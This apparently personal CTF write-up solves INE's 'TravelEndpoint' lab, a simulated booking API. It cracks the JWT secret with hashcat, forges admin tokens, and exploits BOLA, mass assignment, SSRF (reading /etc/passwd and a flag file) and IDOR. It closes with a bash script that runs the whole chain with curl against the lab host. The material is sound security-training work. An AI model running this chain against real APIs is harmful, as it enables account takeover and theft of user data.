Page cover

TravelEndpoint: 2025

"This challenge immerses participants in a simulated booking API environment, testing their ability to discover and exploit authorization flaws and misconfigurations. Participants will navigate real-world API security scenarios, including unauthorized data access and privilege escalation. They will work towards uncovering the hidden flag by strategically analyzing API requests, understanding the back-end logic, and chaining multiple vulnerabilities. The challenge emphasizes critical thinking and a hands-on approach to API security assessment, requiring precision and creativity to bypass protections and achieve the final objective."

Leaderboard

3rd place

CWE

  1. CWE-639: Authorized Bypass Through User Controlled Key

    1. Broken Object Level Authorization (BOLA)

    2. Insecure Direct Object Reference (IDOR)

  2. CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

    1. Mass Assignment

  3. CWE-918: Server Side Request Forgery (SSRF)

Tools & Techniques

  • Fuzzing web apps with Ffuf

  • jwt.io

  • curl

  • Burp Suite

  • Hashcat

  • Broken Object Level Authorization(BOLA)

  • Mass Assignment

  • Insecure Direct Object Reference

  • Server Side Request Forgery

  • bash scripting

Credentials

  • we are provided user/guest credentials to start from an authorized pov

alice:Alice@123

Enumeration

Login Page

  • Given the description of the challenge and the airplane logo it looks like a normal airline site

  • I ignored the hint to not waste time brute forcing users/passwords

Login page

Login Page: Source Code

  • the source code reveals how the web app is handling login requests to /api/auth/login

  • after logging in the user is set a JWT and is redirected to /dashboard

/api/auth/login

  • testing login using our credentials

  • jwt in the data portion of the http response

dashboard

dashboard: source code

  • the source code revealed some interesting api endpoints that we could play around with

  • whenever we want to go to a certain endpoint (e.g. /api/bookings) it checks if we have a valid jwt in the Authorization header of our request, if we don't it simply logs us out

/api/bookings

  • testing /api/bookings using our/alice's jwt

/api/bookings response

Fuzzing Directories

  • other than the endpoints found earlier we also have /api/fetch

JWT Attacks

jwt.io

Changing user_id:2

  • i tried changing the user_id value to 2 to see if we can gain access to another user's data, but we got the error "Invalid Token"

Cracking the jwt secret with hashcat

  • if we try to crack our jwt's secret using a wordlist like rockyou we get the secret "supersecret"

Creating a valid admin token with user_id:2

  • we can now generate a valid jwt for any user using this secret

  • if we make a request to /api/bookings using user_id : 2 jwt we get 200 OK, meaning it's a valid token

Who is Admin?

  • To verify that user_id : 2 is an admin we can analyze the error messages when making requests to /api/fetch, using user_id : 1 jwt we get "Unauthorized: admin access required"

  • But when using a valid user_id : 2 jwt we no longer get the admin access required error, so this must mean that user_id : 2 is the admin

Some users have more privileges than others. Can you find something they shouldn't have left exposed?

  • at this point we have:

    • a list of /api endpoints

    • the secret to create valid jwt's for any user, especially the admin user, user_id : 2

    • /api/fetch endpoint that is only accessible to the admin

Broken Object Level Authorization (BOLA)

  • I didn't really think about this endpoint until i researched/studied a bit more, and it turns out this is a common endpoint for some APIs

  • or you could've used a fuzzed using a wordlist of common api endpoints(not sure why it didnt show up earlier, maybe i should've waited a bit longer)

  • All of these endpoints really stand out, especially the /api/admin/reports(which we will look at later), but another one that stands out is /api/users/{id} that reveals user details by ID

  • if we request our own information it reveals our email, id , and password hash

  • But what if we try requesting the admin information?

    • a BOLA vulnerability!

    • meaning we could request this information as any user

    • no authorization checks on who is requesting said information

  • fuzzing for all possible/existing users

    • 8 users

Sometimes what you send isn't what's saved. Can you manipulate the system to reveal what is hidden?

Mass Assignment

  • i got curious as to what the /api/users/update endpoint does

  • maybe we can update our user's role to admin?

  • Mass Assignment vuln!, we are now admin

Certain reports are meant for specific eyes only. Can you access what's not meant for you?

/api/admin/reports

  • now that we are admin we can access endpoints like /api/admin/reports

  • you could've also used a valid admin jwt using the secret and user_id: 2

A system's curiosity can sometimes lead it to unexpected places. Can you make it fetch something valuable?

Server Side Request Forgery

  • At this point:

    • you can use a valid admin jwt token by generating one in jwt.io using the secret

    • or you're an admin after exploiting the mass assignment vulnerability

  • /api/fetch returns error Admin access required when you make a request with an invalid admin token

  • but when you make a request with a valid admin token you get the error below

  • As with any other SSRF vulnerability i did try fuzzing for internal ports but nothing

  • so i instead tried fuzzing for url parameters and i got

    • /api/fetch?url=<value>

  • if we try to make the web app fetch its own source code, it works!, ssrf verified

  • and of course, the classic /etc/passwd, most are /nologin, so we are not meant to get a shell or RCE via an internal service in this case

  • Right? i couldve gone for the Werkzeug console pin exploit, but none of the users have some form of a login shell

  • another secret information disclosure

  • i tried a random POST request to /api/bookings to see if i can get some valuable error messages

  • and i did! the werkzeug console/debugger error message returned the app location /app/app.py

  • another secret disclosed

  • this is kind of cheesy but this is how i got the ssrf flag(other alternatives paths are mentioned towards the end)

Data is only as secure as its weakest link. Can you uncover information that shouldn't be accessible?

Insecure Direct Object References (IDOR)

  • Initially, this was the first flag i discovered while i was playing around with the JWT and cracking the secret

  • but by using the secret we can create valid tokens for other users and request their information bookings,transactions etc as that user

travelEndpoint.sh

  • a script i wrote after solving that automates the challenge

#!/usr/bin/bash

# Author: 022y
# Blog: https://0zzy.gitbook.io/0zzy-cyber
# Desc: Bash script to automate INE's TravelEndpoint Endpoint CTF

URL="http://ctf.ine.local"
USER="alice"
PASS="Alice@123"


function api_login {
	# Retrieve jwt token
	
	echo -e "[*] Logging in as $USER"
	JWT_TOKEN=$(curl -s $URL/api/auth/login -X POST -H 'Content-Type: application/json' -d "{\"username\":\"$USER\",\"password\":\"$PASS\"}" | grep "jwt" | awk '{print $2}' | cut -d',' -f1 | cut -d'"' -f2)

	echo -e "\tJWT for $USER: $JWT_TOKEN\n"	
	sleep 2
}



function crack_jwt {	
	echo "[*] Cracking JWT"
	CRACK_CMD=$(hashcat -a 0 -m 16500 $JWT_TOKEN /usr/share/wordlists/rockyou.txt --quiet)
	SECRET=$(hashcat -a 0 -m $JWT_TOKEN --show | cut -d':' -f2)

	echo -e "\tjwt secret: $SECRET\n"
	sleep 5
}	

function bola {
	# anyone could view anyones info, no need to be an admin can use our alice jwt
	echo -e "[*] Broken Object Level Authorization(BOLA) Vuln: \n"	
	admin_id="2"
	curl -s $URL/api/users/$admin_id -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN"
	echo "\n"
	sleep 5
}


function mass_assignment {
	echo -e "[*] Mass Assignment Vuln: Assigning ourselves the admin role\n"
	curl -s $URL/api/users/update -X POST -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN" -d '{"user_id":"1","role":"admin"}'
	echo -e "\n"
	sleep 5
}


function admin_reports {
	echo -e "[*] Now an admin, retrieving updated jwt token:"
	api_login
	curl -s $URL/api/admin/reports -H 'Content-Type: application/json' -H "Authorization: Bearer $JWT_TOKEN"
	echo -e "\n"
	sleep 5
}


function ssrf {
	echo -e "Server Side Request Forgery Vuln:"
	curl -s $URL/api/fetch?url=file:///tmp/flag4.txt -H "Authorization: Bearer $JWT_TOKEN"

}


function idor {

	echo -e "[*] Use our original jwt token: $JWT_TOKEN, and dont forget to use the secret $SECRET"
	read -p "Go to jwt.io and change user_id to 3 and enter it here:" user_id_3_jwt

	echo -e "\tRetrieving user_id 3 /api/bookings..."
	curl -s $URL/api/bookings -H "Content-Type: application/json" -H "Authorization: Bearer $user_id_3_jwt"

}

echo -e "[*] INE CTF TravelEndpoint CTF: Flag retrieval/PoC only, full writeup at 0zzy.gitbook.io\n"


api_login
crack_jwt
bola
mass_assignment
ssrf
idor

Alternatives

  • Crack JWT secret OR Information Disclosure via the Werkzeug Error leaking the Secret

  • Escalating to Admin Privileges

    • Using the secret to get a valid jwt with id:2

    • OR abusing the mass assignment vuln to give ourselves the admin role

  • I couldn't see any other way of getting the ssrf flag without the Werkzeug error revealing the app source code location /app/app.py, unless you fuzzed for files or had a luck guessing /tmp/flag4.txt, or fuzzed for the source code location first

Relevant Learning Sources

Last updated